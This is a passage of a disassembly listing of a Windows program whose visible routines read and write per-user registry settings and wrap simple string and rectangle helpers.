		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427B23	proc near		; CODE XREF: HLXc:00427A89p
					; HLXc:00427D66p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_20]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427C62
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	edx, [ebp+var_20]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_8], edx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		push	0
		mov	ecx, [ebp+var_20]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427C26
		mov	edx, [ebp+var_8]
		push	edx
		mov	ecx, [ebp+var_20]
		add	ecx, 28h
		call	dword_433184
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_43161E
		add	esp, 4
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx+48h], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_20]
		add	edx, 28h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_427C7E
; ---------------------------------------------------------------------------


loc_427C26:				; CODE XREF: sub_427B23+ABj
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_20]
		add	edx, 38h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_427C7E
; ---------------------------------------------------------------------------


loc_427C62:				; CODE XREF: sub_427B23+39j
		mov	ecx, [ebp+var_20]
		add	ecx, 38h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	dword_433180
		mov	edx, [ebp+var_1C]
		or	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]


loc_427C7E:				; CODE XREF: sub_427B23+101j
					; sub_427B23+13Dj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_427B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427C84	proc near		; CODE XREF: HLXc:00427E7Ep

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CE4
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_427CC7
		jmp	short loc_427D1D
; ---------------------------------------------------------------------------


loc_427CC7:				; CODE XREF: sub_427C84+3Fj
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		call	dword_43318C
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		call	dword_433188
		push	eax
		push	1
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_427D10
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+48h], 1


loc_427D10:				; CODE XREF: sub_427C84+80j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_427D1D:				; CODE XREF: sub_427C84+41j
		mov	esp, ebp
		pop	ebp
		retn
sub_427C84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325CE
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		mov	[ebp-24h], ecx
		mov	eax, [ebp-24h]
		cmp	dword ptr [eax+48h], 0
		jz	short loc_427D5F
		mov	ecx, [ebp-24h]
		cmp	dword ptr [ecx+4Ch], 0
		jnz	short loc_427D5F
		mov	ecx, [ebp-24h]
		add	ecx, 28h
		call	dword_433188
		jmp	short loc_427D9A
; ---------------------------------------------------------------------------


loc_427D5F:				; CODE XREF: HLXc:00427D46j
					; HLXc:00427D4Fj
		lea	edx, [ebp-20h]
		push	edx
		mov	ecx, [ebp-24h]
		call	sub_427B23
		mov	[ebp-28h], eax
		mov	eax, [ebp-28h]
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-2Ch]
		call	dword_433188
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-20h]
		call	dword_433168
		mov	eax, [ebp-10h]


loc_427D9A:				; CODE XREF: HLXc:00427D5Dj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-8]
		cmp	dword ptr [eax+48h], 0
		jz	short loc_427DE7
		mov	ecx, [ebp-8]
		cmp	dword ptr [ecx+4Ch], 0
		jnz	short loc_427DE7
		mov	edx, [ebp-8]
		add	edx, 28h
		push	edx
		mov	ecx, [ebp+8]
		call	dword_433180
		mov	eax, [ebp-4]
		or	al, 1
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		jmp	short loc_427DFF
; ---------------------------------------------------------------------------


loc_427DE7:				; CODE XREF: HLXc:00427DBFj
					; HLXc:00427DC8j
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-8]
		call	sub_427B23
		mov	edx, [ebp-4]
		or	edx, 1
		mov	[ebp-4], edx
		mov	eax, [ebp+8]


loc_427DFF:				; CODE XREF: HLXc:00427DE5j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325E2
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp-18h], ecx
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-18h]
		add	eax, 28h
		push	eax
		lea	ecx, [ebp+8]
		push	ecx
		call	dword_433190
		add	esp, 8
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_427E6B
		mov	edx, [ebp-18h]
		cmp	dword ptr [edx+4Ch], 0
		jnz	short loc_427E6B
		mov	eax, [ebp-18h]
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-10h]
		jmp	short loc_427E9C
; ---------------------------------------------------------------------------


loc_427E6B:				; CODE XREF: HLXc:00427E45j
					; HLXc:00427E4Ej
		lea	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_43317C
		mov	ecx, [ebp-18h]
		call	sub_427C84
		mov	edx, [ebp-18h]
		mov	[ebp-14h], edx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-14h]


loc_427E9C:				; CODE XREF: HLXc:00427E69j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325F5
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_428440
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+2Ch], 0
		push	offset dword_439CE8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	dword_433194
		mov	edx, [ebp-10h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+30h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+34h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432626
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		mov	[ebp-34h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-34h]
		call	sub_428440
		mov	byte ptr [ebp-4], 1
		mov	eax, [ebp-34h]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp-34h]
		mov	edx, [ebp+18h]
		mov	[ecx+2Ch], edx
		mov	eax, [ebp-34h]
		mov	ecx, [ebp+1Ch]
		mov	[eax+34h], ecx
		mov	edx, [ebp-34h]
		mov	eax, [ebp+20h]
		mov	[edx], eax
		mov	ecx, [ebp-34h]
		mov	dword ptr [ecx+30h], 0
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	dword_433174
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		push	ecx
		push	0
		lea	edx, [ebp-20h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-38h], eax
		mov	eax, [ebp-38h]
		mov	[ebp-3Ch], eax
		mov	byte ptr [ebp-4], 2
		mov	ecx, [ebp-3Ch]
		push	ecx
		mov	ecx, [ebp-34h]
		add	ecx, 18h
		call	dword_43317C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-20h]
		call	dword_433168
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-10h]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp-30h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-40h], eax
		mov	eax, [ebp-40h]
		mov	[ebp-44h], eax
		mov	byte ptr [ebp-4], 3
		mov	ecx, [ebp-44h]
		push	ecx
		mov	ecx, [ebp-34h]
		add	ecx, 8
		call	dword_43317C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-30h]
		call	dword_433168
		mov	ecx, [ebp-34h]
		call	sub_428069
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_4284A0
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428069	proc near		; CODE XREF: HLXc:0042802Ep
					; HLXc:004281BEp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_428107
		mov	[ebp+var_4], 4
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		add	ecx, 28h
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4280F2
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+30h], 1
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+28h]
		jmp	short loc_42810D
; ---------------------------------------------------------------------------


loc_4280F2:				; CODE XREF: sub_428069+68j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+2Ch]
		jmp	short loc_42810D
; ---------------------------------------------------------------------------


loc_428107:				; CODE XREF: sub_428069+32j
		mov	eax, [ebp+var_C]
		mov	eax, [eax+2Ch]


loc_42810D:				; CODE XREF: sub_428069+87j
					; sub_428069+9Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_428069	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		lea	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CEC
		push	0
		mov	ecx, [ebp-8]
		add	ecx, 18h
		call	dword_433188
		push	eax
		mov	edx, [ebp-8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_428154
		jmp	short loc_428196
; ---------------------------------------------------------------------------


loc_428154:				; CODE XREF: HLXc:00428150j
		push	4
		mov	ecx, [ebp-8]
		add	ecx, 28h
		push	ecx
		push	4
		push	0
		mov	ecx, [ebp-8]
		add	ecx, 8
		call	dword_433188
		push	eax
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_428189
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+30h], 1


loc_428189:				; CODE XREF: HLXc:0042817Dj
		mov	edx, [ebp-8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_428196:				; CODE XREF: HLXc:00428152j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4281BB
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_4281BB
		mov	edx, [ebp-4]
		mov	eax, [edx+28h]
		jmp	short loc_4281C3
; ---------------------------------------------------------------------------


loc_4281BB:				; CODE XREF: HLXc:004281A8j
					; HLXc:004281B1j
		mov	ecx, [ebp-4]
		call	sub_428069


loc_4281C3:				; CODE XREF: HLXc:004281B9j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4281D0	proc near		; CODE XREF: HLXc:0042651Fp
					; sub_426584+29p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4281D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_43164E
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_43164E
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4281D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428230	proc near		; CODE XREF: sub_4266D6+Ap
					; sub_426ABF+47p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_428230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_431642
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_428230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428280	proc near		; CODE XREF: sub_426584+BFp
					; sub_42692B+E9p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4282A0
		mov	eax, [eax+4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282A0	proc near		; CODE XREF: sub_428280+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		sub	eax, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_4282A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282C0	proc near		; CODE XREF: sub_426DB8+30p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_4282E0
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn	8
sub_4282C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4282E0	proc near		; CODE XREF: sub_4282C0+Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	sub_428300
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4282E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428300	proc near		; CODE XREF: sub_4282E0+11p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_433204	; _mbscmp
		add	esp, 8
		pop	ebp
		retn
sub_428300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428320	proc near		; CODE XREF: HLXc:00426EA6p
					; HLXc:00426ED2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_428320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428360	proc near		; CODE XREF: sub_4270ED+AAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433294	; CopyRect
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_428360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428380	proc near		; CODE XREF: HLXc:0042737Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433290	; EqualRect
		mov	esp, ebp
		pop	ebp
		retn	4
sub_428380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283A0	proc near		; CODE XREF: HLXc:00426E8Bp
					; HLXc:00426E96p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4283A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283B0	proc near		; CODE XREF: HLXc:00427409p
					; HLXc:00427423p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4283B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4283E0	proc near		; CODE XREF: sub_427610+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4283E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428400	proc near		; CODE XREF: HLXc:0042785Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_428427
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_428427
		mov	[ebp+var_8], 1
		jmp	short loc_42842E
; ---------------------------------------------------------------------------


loc_428427:				; CODE XREF: sub_428400+11j
					; sub_428400+1Cj
		mov	[ebp+var_8], 0


loc_42842E:				; CODE XREF: sub_428400+25j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_428400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428440	proc near		; CODE XREF: HLXc:004278B6p
					; HLXc:0042797Ap ...

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_428440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp+var_18], ecx
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	dword_43316C
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 18h
		call	dword_43316C
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_428440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284A0	proc near		; CODE XREF: HLXc:00427B10p
					; HLXc:00428060p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4284A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 18h
		call	dword_433168
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	dword_433168
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4284A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284F0	proc near		; DATA XREF: HLXc:00437004o
		push	ebp
		mov	ebp, esp
		call	sub_4284FF
		call	sub_42850E
		pop	ebp
		retn
sub_4284F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284FF	proc near		; CODE XREF: sub_4284F0+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_439CF0
		call	sub_4298B0
		pop	ebp
		retn
sub_4284FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42850E	proc near		; CODE XREF: sub_4284F0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_428520
		call	sub_4317A2
		add	esp, 4
		pop	ebp
		retn
sub_42850E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428520	proc near		; DATA XREF: sub_42850E+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset dword_439CF0
		call	sub_429830
		pop	ebp
		retn
sub_428520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42852F	proc near		; CODE XREF: sub_4294E5+F9p

var_28C8	= dword	ptr -28C8h
var_28C4	= dword	ptr -28C4h
var_28C0	= dword	ptr -28C0h
var_28BC	= dword	ptr -28BCh
var_28B6	= word ptr -28B6h
var_28B4	= dword	ptr -28B4h
var_28B0	= dword	ptr -28B0h
var_28AC	= dword	ptr -28ACh
var_28A8	= dword	ptr -28A8h
var_28A4	= dword	ptr -28A4h
var_28A0	= dword	ptr -28A0h
var_289C	= dword	ptr -289Ch
var_2898	= dword	ptr -2898h
var_2894	= dword	ptr -2894h
var_2890	= dword	ptr -2890h
var_288C	= dword	ptr -288Ch
var_2888	= dword	ptr -2888h
var_2884	= dword	ptr -2884h
var_2880	= dword	ptr -2880h
var_287C	= dword	ptr -287Ch
var_2878	= dword	ptr -2878h
var_2874	= dword	ptr -2874h
var_2870	= dword	ptr -2870h
var_286C	= dword	ptr -286Ch
var_2868	= dword	ptr -2868h
var_2864	= dword	ptr -2864h
var_2860	= dword	ptr -2860h
var_285C	= dword	ptr -285Ch
var_2858	= dword	ptr -2858h
var_2854	= dword	ptr -2854h
var_2850	= dword	ptr -2850h
var_284C	= dword	ptr -284Ch
var_2848	= dword	ptr -2848h
